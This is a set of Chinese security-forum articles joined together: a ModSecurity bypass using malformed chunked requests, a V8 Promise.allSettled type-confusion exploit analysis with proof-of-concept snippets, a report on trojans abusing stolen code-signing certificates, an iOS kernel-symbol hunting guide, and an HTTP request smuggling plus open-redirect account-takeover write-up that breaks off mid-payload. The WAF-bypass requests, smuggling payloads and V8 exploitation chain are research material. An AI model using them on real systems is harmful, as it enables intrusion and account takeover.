<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
可以看到我们的“union”关键字被拦截了。
接下来我们传输一个畸形的分块数据包看看。
请求:
POST /sql.php?id=2%20union HTTP/1.1
......
Transfer-Encoding: chunked
1
aa
0
(两个换行)
返回:
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
========GET==========
Array
(
[id] => 2 union
)
========POST==========
Array
(
)
可以看到虽然apache报错了，但是因为apache容错很强，所以我们提交的参数依然传到了php，而我们的ModSecurity并没有处理400错误的数据包，最终绕过了ModSecurity。
接下来我们把ModSecurity的规则改为过滤返回数据中包含“root”的字符串，然后在sql.php脚本中加入打印“root”关键字的代码。
接着我们做如下测试：
请求：
http://10.10.10.10/sql.php?id=1
返回:
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /sql.php
on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
因为sql.php脚本中返回了带有“root”的关键字，所以直接就被ModSecurity拦截了。这时我们改为发送畸形的分块数据包。
请求:
POST /sql.php?id=1 HTTP/1.1
Host: 10.10.10.10
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 16
3
123
1
0
(两个换行)
返回:
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
root 123456
========GET==========
Array
(
[id] => 1
)
========POST==========
Array
(
)
通过两个测试可以发现使用畸形的分块数据包可以直接绕过ModSecurity的检测。这个问题我们在2017年4月已提交给ModSecurity官方，但是因为种种问题目前依然未修复。
## 最后
本文是在《在HTTP协议层面绕过WAF》基础上作了一些简单的补充，文中介绍的方法对于常规的WAF基本上能直接Bypass，并不能绕过Filter、代码层通用防注之流。分块传输还有很多有趣的玩法，欢迎各位朋友一些交流学习。
另外360安服华南攻防团队和360观星实验室都在招人，欢迎各路大神砸简历过来哈。 | 社区文章 |
**作者：星阑科技PotalLab
原文链接：<https://mp.weixin.qq.com/s/mdMlS1Dk8k0-A1DqpitG_A>**
这是2021年blackhat上的一次议题分享中的漏洞，直到文档完成视频还未公开，且issue页面也无权访问，但是看了ppt后不禁被这绝妙的思路所折服，于是决定自己亲手构造一番，在此感谢@__R0ng的指导。
ppt可以在这里找到：
<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Typhoon-Mangkhut-One-Click-Remote-Universal-Root-Formed-With-Two-Vulnerabilities.pdf>
另外虽然是20年的漏洞，但是issue页面直到本文编写完成也未公开。
有关的两次commit在这里：
commit1：
<https://chromium.googlesource.com/v8/v8/+/26df3fdc2521788c4fb3c8c4b5a78f5dada8ab20>
commit2：
<https://chromium.googlesource.com/v8/v8/+/4c3cc31cfcd150d0c1db5e4229e6f90a9aef273b>
## 漏洞分析
整体是关于Promise.allSettled 的错误，所以先看下有关内容。
### 关于Promise
Promise对象用于表示一个异步操作的最终完成 (或失败)及其结果值，具体可以看这里：
<https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise>
Promise 有以下三种状态：
* 待定（pending）: 初始状态，既没有被兑现，也没有被拒绝
* 已兑现（fulfilled）: 意味着操作成功完成
* 已拒绝（rejected）: 意味着操作失败
待定状态的 Promise
对象要么会通过一个值被兑现（fulfilled），要么会通过一个原因（错误）被拒绝（rejected）。当这些情况之一发生时，我们用 promise 的
then 方法排列起来的相关处理程序就会被调用。
Promise.allSettled()方法返回一个在所有给定的promise都已经fulfilled或rejected后的promise，并带有一个对象数组，每个对象表示对应的promise结果。
### 关于Promise.allSettled()
Promise.allSettled()方法返回一个在所有给定的promise都已经fulfilled或rejected后的promise，并带有一个对象数组，每个对象表示对应的promise结果
详细的可以看这里：
<https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled>
// 用法
Promise.allSettled(iterable);
// iterable就是字面意思，一个可迭代对象
示例
Promise.allSettled([
Promise.resolve(1),
Promise.reject(2)
])
.then((results) => results.forEach((result) => console.log(result.status)));
// output:
// fulfilled
// rejected
重点是，只有传入的所有promise对象都已经fulfilled或rejected后才会返回一个array。
### Bug
我们来看下Promise.allSettled的对应实现，源码在src/builtins/promise-all-element-closure.tq中。
transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: Context)(
value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
[ ... ]
const index = identityHash - 1;
let remainingElementsCount = UnsafeCast<Smi>(
context.elements[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot]);
let values = UnsafeCast<FixedArray>(
context.elements[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesSlot]);
const newCapacity = index + 1;
if (newCapacity > values.length_intptr) deferred {
// This happens only when the promises are resolved during iteration.
values = ExtractFixedArray(values, 0, values.length_intptr, newCapacity);
context.elements[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesSlot] = values;
}
values.objects[index] = updatedValue;
remainingElementsCount = remainingElementsCount - 1; //减1
context.elements[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot] =
remainingElementsCount;
if (remainingElementsCount == 0) { //为0
const capability = UnsafeCast<PromiseCapability>(
context.elements[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementCapabilitySlot]);
const resolve = UnsafeCast<JSAny>(capability.resolve);
const arrayMap = UnsafeCast<Map>(
nativeContext
.elements[NativeContextSlot::JS_ARRAY_PACKED_ELEMENTS_MAP_INDEX]);
const valuesArray = NewJSArray(arrayMap, values);
Call(context, resolve, Undefined, valuesArray); //返回array
}
return Undefined;
}
对于.tq后缀的文件是v8中的turque，详细信息请看v8的官方文档：
<https://v8.dev/docs/torque>
关于其概念不在讲解，不影响我们理解漏洞
通过注释我们可以得知，在其内部实现中有remainingElementsCount这么一个变量，在每调用一次PromiseAllResolveElementClosure时，都会将其减1，而其初始化时，就是传入allSettled内的可迭代对象长度，当等于0时就会返回一个array。
那么如果我们在一个对象上既调用resolveElementFun也调用
rejectElementFun呢，这就会导致虽然只对一个对象进行了处理，但是remainingElementsCount却减去2，最终我们只需将半数可迭代对象内部的内容给处理掉之后就能得到array。
所以我们可以先一步拿到返回的array，然而settled的过程 **仍在继续**
，这点可以通过调试得知，后面在remainingElementsCount等于0后会继续减为负数。
我们拿到array之后，可以改变array的map，从而在其之后的settled过程中达到类型混淆，比如我们可以将array从FixedArray类型变为NumberDictionary，如此一来最直观的一点就是。
可以看到如果仍按照未变类型之前的偏移去读写数据的话就会造成越界读写，这也是在消去checkmaps之后常用的越界手段。
类型转化的方法有slide上贴出的，arr[0x10000] = 1
，原因是对于FixedArray来说，其内嵌的对象数量有一定的限制，超过这个限制就会自然转化为NumberDictionary形式，同样也是为了节省空间的优化表现形式。
* befer
* after
再来看一下内存布局
为了方便展示我用了arr = [1.1,2.2,3.3];
* before
* after
* 首先可以看到他的排布顺序也变了
可以看到布局改变很大，由于压缩指针的原因，指针排布比较紧密，就没有在图中标注释，但是仔细点可以看到从0x2c0e080c8214+8开始就是右key，左value的布局了。
### 如何触发
前面也说了，只要对于一个迭代对象内的每个promise都一起调用俩函数resolveElementFun 和
rejectElementFun那么就能提前得到array，但是似乎还不知道具体怎么做
作者在slide中给了一段poc作为示范。
class MyCls{
constructor(executor){
executor(custom_resolve,custom_reject);
}
static resolve(){
return{
then:(fulfill, reject)=>{
fulfill(); reject();
}
}
}
}
## 源码分析
经调试发现对于remainingElementsCount的初始化在promise-all.tq里面，设置为n+1后，后面会减1。
// ES#sec-promise.allsettled
// Promise.allSettled ( iterable )
transitioning javascript builtin PromiseAllSettled(
js-implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
return GeneratePromiseAll( //================================调用GeneratePromiseAll
receiver, iterable, PromiseAllSettledResolveElementFunctor{},
PromiseAllSettledRejectElementFunctor{});
}
==============================================================================
transitioning macro GeneratePromiseAll<F1: type, F2: type>(
implicit context: Context)(
receiver: JSAny, iterable: JSAny, createResolveElementFunctor: F1,
createRejectElementFunctor: F2): JSAny {
[ ... ]
try {
// Let iterator be GetIterator(iterable).
// IfAbruptRejectPromise(iterator, promiseCapability).
let i = iterator::GetIterator(iterable);
// Let result be PerformPromiseAll(iteratorRecord, C,
// promiseCapability). If result is an abrupt completion, then
// If iteratorRecord.[[Done]] is false, let result be
// IteratorClose(iterator, result).
// IfAbruptRejectPromise(result, promiseCapability).
return PerformPromiseAll( //=========================调用PerformPromiseAll
receiver, capability, i, createResolveElementFunctor,
createRejectElementFunctor) otherwise Reject;
[ ... ]
===============================================================================
transitioning macro PerformPromiseAll<F1: type, F2: type>(
implicit context: Context)(
constructor: JSReceiver, capability: PromiseCapability,
iter: iterator::IteratorRecord, createResolveElementFunctor: F1,
createRejectElementFunctor: F2): JSAny labels
Reject(Object) {
const nativeContext = LoadNativeContext(context);
const promise = capability.promise;
const resolve = capability.resolve;
const reject = capability.reject;
[ ... ]
const resolveElementContext =
CreatePromiseAllResolveElementContext(capability, nativeContext);
let index: Smi = 1;
[ ... ]
// Set iteratorRecord.[[Done]] to true.
// Set remainingElementsCount.[[Value]] to
// remainingElementsCount.[[Value]] - 1.
let remainingElementsCount = UnsafeCast<Smi>(
resolveElementContext[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot]);
remainingElementsCount -= 1;
resolveElementContext[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot] =
remainingElementsCount;
if (remainingElementsCount > 0) {
// Pre-allocate the backing store for the {values_array} to the desired
// capacity here. We may already have elements here in case of some
// fancy Thenable that calls the resolve callback immediately, so we need
// to handle that correctly here.
const valuesArray = UnsafeCast<JSArray>(
resolveElementContext[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesArraySlot]);
const oldElements = UnsafeCast<FixedArray>(valuesArray.elements);
const oldCapacity = oldElements.length_intptr;
const newCapacity = SmiUntag(index);
if (oldCapacity < newCapacity) {
valuesArray.elements =
ExtractFixedArray(oldElements, 0, oldCapacity, newCapacity);
}
} else
deferred {
// If remainingElementsCount.[[Value]] is 0, then
// Let valuesArray be CreateArrayFromList(values).
// Perform ? Call(resultCapability.[[Resolve]], undefined,
// « valuesArray »).
assert(remainingElementsCount == 0);
const valuesArray = UnsafeCast<JSAny>(
resolveElementContext[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesArraySlot]);
Call(nativeContext, UnsafeCast<JSAny>(resolve), Undefined, valuesArray);
}
//Print("WTF!");
// Return resultCapability.[[Promise]].
return promise;
}
PerformPromiseAll的代码比较长，是对传入的参数进行迭代，并对其中的每一个元素都调用了promiseResolve，具体的可以看看源码，最后的Promise.allSettled的返回值那个promise是这里返回的，而那个array是promise-all-element-closure.tq 中处理的。
transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: Context)(
value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
[ ... ]
// Update the value depending on whether Promise.all or
// Promise.allSettled is called.
const updatedValue = wrapResultFunctor.Call(nativeContext, value);
// Determine the index from the {function}.
// Check if we need to grow the [[ValuesArray]] to store {value} at {index}.
const valuesArray = UnsafeCast<JSArray>(
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesArraySlot]);
const elements = UnsafeCast<FixedArray>(valuesArray.elements);
const valuesLength = Convert<intptr>(valuesArray.length);
if (index < valuesLength) {
//Print('1');
// The {index} is in bounds of the {values_array},
// just store the {value} and continue.
elements.objects[index] = updatedValue;//将对应promisefulfilled或reject后的返回值写入array
} else {
//Print('2');
// Check if we need to grow the backing store.
const newLength = index + 1;
const elementsLength = elements.length_intptr;
if (index < elementsLength) {
// The {index} is within bounds of the {elements} backing store, so
// just store the {value} and update the "length" of the {values_array}.
valuesArray.length = Convert<Smi>(newLength);
elements.objects[index] = updatedValue;//将对应promisefulfilled或reject后的返回值写入array
} else
deferred {
//Print('3');
// We need to grow the backing store to fit the {index} as well.
const newElementsLength = IntPtrMin(
CalculateNewElementsCapacity(newLength),
kPropertyArrayHashFieldMax + 1);
assert(index < newElementsLength);
assert(elementsLength < newElementsLength);
const newElements =
ExtractFixedArray(elements, 0, elementsLength, newElementsLength);
newElements.objects[index] = updatedValue;
// Update backing store and "length" on {values_array}.
valuesArray.elements = newElements;
valuesArray.length = Convert<Smi>(newLength);
}
}
let remainingElementsCount =
UnsafeCast<Smi>(context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot]);
remainingElementsCount = remainingElementsCount - 1;
//Print('remainingElementsCount in all-element ',remainingElementsCount);
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot] = remainingElementsCount;
if (remainingElementsCount == 0) { //当remainingElementsCount为0时返回array
//Print('return array');
const capability = UnsafeCast<PromiseCapability>(
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementCapabilitySlot]);
const resolve = UnsafeCast<JSAny>(capability.resolve);
Call(context, resolve, Undefined, valuesArray); //返回array
}
return Undefined;
}
## 一些细节
**0**
关于poc，我们声明完上面的class之后，用Reflect来调用allsettled，这样就能传入MyCls了，我初步写的，其中的reflect是重点，要说明的是这里对于reflect的用法和我的最终版本有些差别，不过我思路写的足够详细，各位可以自己动手尝试。
class MyCls{
constructor(executor){
executor(custom_resolve,custom_reject);
}
static resolve(){
return{
then:(fulfill, reject)=>{
console.log("call fulfill");
fulfill();
console.log("call reject");
reject();
}
}
}
}
// var arr = Reflect.construcst(MyCls,[function (reject,resolve){resolve()}],Promise);
var arr = Promise.allSettled([Reflect.apply(MyCls.resolve,Promise,[1])]);
**1**
我们能写进去的只能是object的地址显然最后一位都是1，因此有些debug下的检查会导致abort，需要手动注释，另外我们不能像下面这样。
Promise.allSettled(b)
.then(arr => {
arr[0x10000] = 1;
%DebugPrint(arr);
});
来改变返回的arr的map，因为这里的then其实是对allSettled的返回的Promise的操作，而这个Promise是allSettled完成之后才会返回的，所以在这里并不能接收到提前返回的arr，我们应该在custom_resolve中更改arr，因为这里我们才可以接收到提前返回的arr。
function custom_resolve(arr){
console.log("custom_resolve called");
arr[0x10000] = 1;
// %DebugPrint(arr);
}
function custom_reject(){
console.log("custom_reject called");
}
可以看到这里assert没过去。
macro UnsafeCast<A : type extends Object>(implicit context: Context)(o: Object):
A {
//Print(o);
assert(Is<A>(o));
return %RawDownCast<A>(o);
}
这个assert只有在debug版本下才有，如同DCHECK，所以为了调试将assert去掉，除此之外还有很多检查，只要是只有debug版本才有的都可以注释掉。
在越界写后，导致一些信息被修改，最后无法寻址arr的相关信息，一旦print等操作就会crash，应该是写到了错误的地方导致的，我们应该仔细看下对应的内存布局
* FixedArray
* NumberDictionary
还可以对照下面的图来看这个布局，经观察发现是在deleted字段中写入了一个obj地址，导致在print时一直向后访问最终访问到非法地址导致crash，我们需要控制一下，在我上面写的版本中只有在写入第1/2和最后一个promise时才会调用custom_resolve，我们在第一二次时将其改为NumberDictionary会写到delete字段。
所以 **我们** **不能在resolve里改**
，联系到我们可以在resolve中提前得到array，通过一个全局变量把arr取出来，就能实现任意时刻我们都可以改，那么剩下的就是需要在别处设计一个定时，从而在确定时机完成修改，我选择在reject和fulfilled处加上count，在对应的调用次数时再修改。
**3**
在NumberDictionary中有个元数据用得到最后一位，当MaxNumberKey最后一位为1时，意味着没有特殊元素，而其本身表示最大有效索引，但是因为其并不代表length，所以无论我们将其覆盖成多大的值都无法得到一个越界数组，但是它的另一个含义为我们带来的别的思路，最后一位映射的特殊元素包括get。
let arr = []
arr[0x10000] = 1
Object.defineProperty(arr, 0, {
get : () => {
console.log("getter called")
return 1
}
})
如果我们给他声明了一个get操作，但之后又用obj的地址将MaxNumberKey最后一位覆盖，那么在进入IterateElements中的判断时会误认为没有get操作，从而在其后的回调中改变len得以成功，于是会越界读取，此IterateElement是下面的一个内置函数中的内容，我们可以看下有get这个特殊元素的布局为。
正常情况下是
**4**
把目光放向内置函数，有一个能帮助我们越界读的内置函数。
Array.prototype.concat是array的一个内置函数，是用来合并两个array的，所以在这个过程中会对数组中的数据进行遍历，我们并不是为了让俩数组合并才用的这个调用，单纯是利用这里可以助我们越界读，所以我们可以利用concat中的回调，在其中改变数组长度，比如原本0x200的buffer我们在concat的回调中将其改为0x10，如此一来，就会把越界读取的数据全存在返回的数组里。
左边的标号和右边的源码是对应着的，首先我们前面的写MaxNumberKey，使得能bypass这里的HasOnlySimpleElements检查，然后在循环迭代时，先走下面的else分支，触发GetElement回调，从而改变len。
Object.defineProperty(oob_arr, 0, {
get : () => {
print("=== getter called ===");
victim_arr.length = 0x10; // 在回调函数中修改数组长度
gc();
return 1;
}
});
let a = oob_arr.concat(victim_arr);
成功修改MaxNumberKey，那么我们只需在victim_arr后面布置一下有特殊数值的arraybuffer，然后读出就可以得到偏移。
**5**
### 剩下的思路
* 通过越界读，也就是通过前面的concat返回的数组，搜索出一个arrayBuffer的backing store地址，这点上面有提到，可以通过一些标记值减去相应偏移获得。
* 在这个ArrayBuffer里面伪造一个假的double Array，通过在arraybuffer里面布局达到，此时这个double array的地址也是已知。
* 通过越界读，可以得到这个伪造array的引用，具体来说就是因为有arrayBuffer的backing store地址，所以我们可以得到fake array的地址，然后我们将这个地址以浮点数形式写在内存中，触发越界读，这样读取到这个地址时将越界读到的值返回给一个变量，这个变量就能直接操控fake array，从而得到fake array的引用，这里我觉得是最妙的一点。
* 通过这个给fake array的赋值，以及从oob array处读取，以及从oob array处对其赋值，可以完成arb r/w。
* 写shellcode到wasm里，并调用。
这里剩下的就是调偏移布局让读到arraybuffer，体力活，不再展示，由于一些原因，构造poc的过程代码和完成代码就都不贴了，看完以上应该可以自己构造出来。
以上就是对这次21年bh上一个绝妙的利用手法的分析复现
## 参考
<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Typhoon-Mangkhut-One-Click-Remote-Universal-Root-Formed-With-Two-Vulnerabilities.pdf>
<https://vul.360.net/archives/144> （这是漏洞作者本人的记录）
* * * | 社区文章 |
# 冒用数字签名的对抗：亟需加强的签名审核
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
早在今年7月份，360白名单分析组捕获并查杀了一批具有知名公司签名的木马，并于8月中旬在国内首发分析报告
([被攻陷的数字签名：木马作者冒用知名网络公司签名](http://bobao.360.cn/learning/detail/2965.html))。在被360曝光之后，此类木马并没有销声匿迹，而是在默默地为中秋佳节的爆发做准备，木马作者冒用了新的证书，而且新的变种木马会伪装成图片以及私服等方式进行传播。360在第一时间对其进行了拦截和查杀，以下就是此类木马的演化过程：
**
**
**伪装成图片的木马**
我们在之前的文章中介绍过此类冒用签名的木马，但最新捕获的木马更换了签名证书，同时更换了传播方式。
木马作者首先利用聊天工具给不同的人发送文件，由于文件具有知名公司签名，并且使用了诱惑性的文件名及图标，用户很容易在毫不知情的情况下点击木马而中招。
**
**
**伪装成私服**
木马会冒用知名公司签名，并且伪装成流行私服的功能模块进行传播，此类木马因隐蔽性极高，将会给用户带来巨大损失。
伪装私服的传播来源：
木马冒用知名公司签名：
**
**
**木马冒用的知名厂商签名**
以目前的情况来看，签名审核并没有得到加强，木马作者依旧可以通过某些途径获取知名公司签名。在签发木马的已知证书中少部分证书已被吊销，但大部分的签名依然有效。
**新签发木马的行为**
在我们捕获到的这些新签发木马中，典型的执行流程如下：
**
**
**1.木马采用大量混淆代码阻碍安全人员的分析，动态解密出dll，然后以PE LOADER的形式在内存中执行**
分配内存写PE信息到新内存：
解密后的DLL文件
接着调用该内存的DllMain函数,初始网络连接。
然后再调用导出函数UpdateService执行后续恶意行为。
**
**
**2.在DLL中判断自身文件名是否包含taskhost.exe**
如果不是则复制木马到C:Program FilesCommon Files8762eb81taskhost.exe目录下。
接着调用CreateProcess创建taskhost.exe进程,执行后续的恶意行为。
**
**
**3.taskhost.exe检测是否处于沙箱环境，如果是则退出**
**
**
**4.接着提升权限为后续恶意行为作准备**
**
**
**5.创建计划任务实现程序自启：**
**
**
**6.通过QQ朋友网接口来获取QQ个人相关信息,并通过其实现恶意行为开关**
读取的信息是：portraitCallBack({"847***126":["[http://qlogo3.store.qq.com/qzone/847***126/847***126/100](http://qlogo3.store.qq.com/qzone/847941126/847941126/100)",100,-1,0,0,0,"色即是空",0]})
**7.创建傀儡进程执行恶意代码：**
**
**
**8.成功运行后，创建线程接收远控指令**
****
**360在国内率先查杀**
****
**
**
**结语**
虽然木马作者在费劲心思的冒用新的知名公司签名，并且对木马不断升级，同时借助节假日来临之际试图大量传播，360在第一时间进行了拦截和查杀，并且持续监控和追踪。
同时360提醒广大用户不要轻易下载和打开未知来源的文件，保持警惕以免造成不必要的损失。同时也希望各大证书颁发机构加强签名证书的管理及审核力度，避免给木马作者带来可乘之机。 | 社区文章 |
# 寻找IOS内核符号
|
##### 译文声明
本文是翻译文章，文章原作者 cji，文章来源：medium.com
原文地址：<https://medium.com/@cji_/hunting-for-ios-kernel-symbols-e48a446bb00>
译文仅供参考，具体内容表达以及含义原文为准。
> 上周，Google的Project Zero项目组成员Ian
> Beer在[Twitter](https://twitter.com/i41nbeer/status/938048288351293440)上发文称他发现了通过task_for_pid_0或tfp0获取内核内存读写权限的方法。这一发现可以帮助到那些引导IOS
> 11内核安全研究的人们。
## 一、内核符号的缺失
虽然本次漏洞的发布令人更加兴奋的是意味着可以构造出新的越狱方法，但我还是想借此机会再次研究关于移动安全的问题。我过去的大部分经历主要是做关于app安全等级测试的。但这一次我想深入了解操作系统的实质。
[Jonathan
Levin在介绍他即将推出的工具集的时候说过](https://twitter.com/Morpheus______/status/938840102452781056)：这是给那些已经在进程中拥有kernel_task
port（tfp0）权限，但不知道下一步应该怎么做的人们使用的。这看起来是一次很好的深入研究的机会。
Beer的[漏洞报告和POC代码](https://bugs.chromium.org/p/project-zero/issues/detail?id=1417)已经在昨天发布了，非常精彩。尤其是文档书写整洁，易于阅读和理解（包括一个ASCII art
stack框架示例）。正当我准备好开始我的测试的时候，忽然发现了一个问题。尽管Beer足够友好地给出了几种设备的内核符号，但是没有我正准备使用的设备的内核符号。幸运的是，他在文档中详细地给出了如何查找内核符号。所以，我已经准备好开始这项工作了。
## 二、寻找内核符号过程
这篇文章剩下的部分主要介绍了我寻找内核符号的整个过程。希望应用到你的设备的时候，方法同样适用。除了已经导出的内核符号外，我没有找到其他阐述如何做这些的文档，所以我想写下这篇文章来给其他需要的人看（也包括未来的自己）。由于有着Jonathan
Levin强大的工具包在，所以这项工作可能并不是必要的，但是在我看来，这是一次有趣的学习、练习的过程。
寻找内核符号的第一步就是得到对应IOS版本的kernelcache。我在<https://ipsw.me/>给我的iPad
Mini2，以及一个在symbols.c中有定义好了的内核符号的设备下载了11.1.2版本的固件。拥有一个已经定义好内核符号的固件可以很好地帮助我确认我所寻找的内核符号是否正确。因为我们已经知道了这个设备正确的内核符号。
在解压出.ipsw文件后，我开始使用Levin的工具[Joker](http://newosxbook.com/tools/joker.html)。在尝试了一会工具的各个参数选项后，我选择对kernelcache文件使用-j，-m参数来转储所有可用的内核符号。输出包括以下我需要的内核符号的地址：
KSYMBOL_OSARRAY_GET_META_CLASS
KSYMBOL_IOUSERCLIENT_GET_META_CLASS
KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX
KSYMBOL_CSBLOB_GET_CD_HASH
KSYMBOL_KALLOC_EXTERNAL
KSYMBOL_KFREE
KSYMBOL_OSSERIALIZER_SERIALIZE
KSYMBOL_KPRINTF
KSYMBOL_UUID_COPY
找到了9个内核符号地址，然而剩余符号的地址已经无法使用工具导出了（或者符号从来没被标记过，像JOP gadget）。所以我们现在必须在IDA
pro中加载kernelcache文件进行分析查找。当然，你也可以使用其他的反汇编工具像Binary Ninja，Hopper或者radare2。
在我们开始之前，我们需要先解码kernelcache文件。我在[joswr1ght的这份指导](https://gist.github.com/joswr1ght/a02774da552aec0bf1bfee6386e82353)中找到了方法。
* open kernelcache in a hex editor and look for 0xFFCFFAEDFE, note the offset (435)
* wget -q [http://nah6.com/%7Eitsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp](http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp)
* g++ -o lzssdec lzssdec.cpp
* ./lzssdec -o 435 < kernelcache >kernelcache.dec # 435 is offset byte count to 0xFFCFFAEDFE header
首先，我用IDA加载装有已知内核符号固件的kernelcache，这样我就可以知道我要寻找的内核符号的汇编形式长什么样子了。
下一个最容易找到的内核符号是KSYMBOL_RET，找到已知内核符号的地址，我看到RET指令是从_kalloc_external函数跳转回来。所以很容易在IDA中加载我的设备的kernelcache，然后在同一个函数中找到RET。对于寻找剩下的内核符号，我们可以借鉴其他提示。
接下来是KSYMBOL_CPU_DATA_ENTRIES，提示中说是在数据段中地址为0x600处。所以在IDA中选择“Jump to
Segment”（ctrl+s），然后选择来到（.data）数据段开始地址处，记下起始地址值，并加上0x600得到我需要的内核符号地址。
下两个我发现的内核符号实际上是列表中的最后两个，KSYMBOL_EL1_HW_BP_INFINITE_LOOP和KSYMBOL_SLEH_SYNC_EPILOG。在IDA中打开Strings
Windows（Shift+F12），并搜索字符串。双击后，我们就可以来到字符串所在处。
对于第一个，我向下寻找直到找到跳转case 49的地方，并记下此时地址。
iPod Touch 6G中的KSYMBOL_EL1_HW_BP_INFINITE_LOOP
对于第二个，在已知内核符号文件中的地址是在XREF‘d字符串下边几个LDP指令中的第一个的地址处。
最后一个比较简单的是KSYMBOL_X21_JOP_GADGET。在看到所需的指令是MOV X21,
X0后，我直接在IDA中搜索文本就可以找到我设备中的此内核符号。
最后5个是最难找到的。我这一次的搜索并没有直接找到提示的内容。所以我开始研究我所发现的这些符号地址并试着寻找他们之间的关联。在用这些地址做一些基本的减法后，我发现他们之前隔着相同倍数的距离。这至少帮我减小了搜索的范围。我还比较了我已知的这些符号中最近的两个相距多少。例如：VALID_LINK_REGISTER和X21_JOP_GADGET之间只差0x28个字节。
距离最近的两个符号可以帮助我缩小搜索范围
于是我在纸上记录下已知地址处的汇编指令，加载我设备的kernelcache，并跳转到KNOWN_ADDRESS + my offset
guess（已知地址+我猜测的地址偏移量）处。然后在附近寻找相同的汇编指令。
有时候笔和纸的效果最好
在代码中将找到的内核符号写入一个数组，之后只需要添加一个if条件就能应用于我的设备当中。
最后将我的iPad连接到电脑，打开Xcode项目并运行。得到如下结果：
[我所做的iPad Mini 2
WiFi补丁可以在这里找到。](https://gist.github.com/cji/32498b19ca0bf0536f5f40cc9b0881cc)
## 三、结语
整个过程对我来说完全是陌生的（但是非常有趣！），所以欢迎大家指正出文章中任何有错误或者理解偏差的地方。如果你知道有寻找这些地址更加简单的方法，也请你反馈给我。我喜欢学习使用新的工具和技术。所以如果能看到这些，我会非常高兴，并且继续更新这篇文章。 | 社区文章 |
# HTTP 请求走私+开放重定向实现账户接管
|
##### 译文声明
本文是翻译文章，文章原作者 itsfading，文章来源：itsfading.github.io
原文地址：<https://itsfading.github.io/posts/I-owe-your-Request-HTTP-Request-Smuggling-leads-to-Full-Accounts-takeover/>
译文仅供参考，具体内容表达以及含义原文为准。
最近burp的新版本终于支持修改HTTP2的流量了，就一直在看Jame的那篇关于HTTP2降级HTTP1请求走私的研究，不过理解了，但是对于实际的测试具体的漏洞流程和验证危害之类的，
因为portswigger体验的实验室只有一个admin删东西的流程，这种高难度的流程明显我这种小白是完全不懂，于是一直在找相关的报告漏洞报告进行学习，这篇报告是一个老外在8.31在他的博客发表的一个他挖到的HTTP请求走私漏洞赏金报告，最后通过HTTP请求走私+开放重定向的配合完成了账户接管
## 测试用到的工具
burp新版本（CE和PRO版都有的功能）中安装turbo intruder和http request smuggler扩展
smuggler.py脚本工具，也是根据James提出的方法做的针对HTTP请求走私的测试工具
> <https://github.com/defparam/smuggler>
## 发现漏洞
通过burp的扫描功能收集到的子域名然后burp报告了漏洞的存在（话说burp新版貌似厉害了不少，昨天晚上还有师傅在群里夸来着）。
报告了一个CL.TE型的HTTP请求走私漏洞，这种漏洞类型意味着前端使用Content-Length头进行验证，而后端使用Transfer-Encoding进行验证
### 验证漏洞
扫描器报告漏洞后下一步就是手注确认了，可惜这里一般都没什么小技巧，就是尽量挑服务器空闲的时候访问，不然很容易错过
POST / HTTP/1.1
Host: subdoamin.readcted.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Transfer-Encoding: chunked
Transfer-encoding: identity
1
A
0
### 利用
这里使用burp的 turbo intruder扩展来发送请求，这个拓展可以被视为intruder的暴力版（当然我是这么认为的）：
POST / HTTP/1.1
Host: example.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked
Transfer-encoding: identity
0
GET /video HTTP/1.1
Foo: x
这样下一个用户就会访问example.com/video，然后看到中间页面出现返回301，顺利验证了漏洞存在，不过这时候HTTP请求走私还只能301，并没有太大的危害，不过通过self
xss 或者开放重定向这样的漏洞进行组合产生更大的危害效果，就类似于CSRF+XSS这种漏洞组合一样
不过在目标站点并没有出现self
xss漏洞，不过这里找到了一个开放重定向，通过开放重定向让其他用户访问恶意网站然后拿cookie，不过这里还出现了另一个漏洞，他修改了主机头，使得用户被重定向到外部网站
payload：
POST / HTTP/1.1
Host: example.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Transfer-Encoding: chunked
Transfer-encoding: identity
0
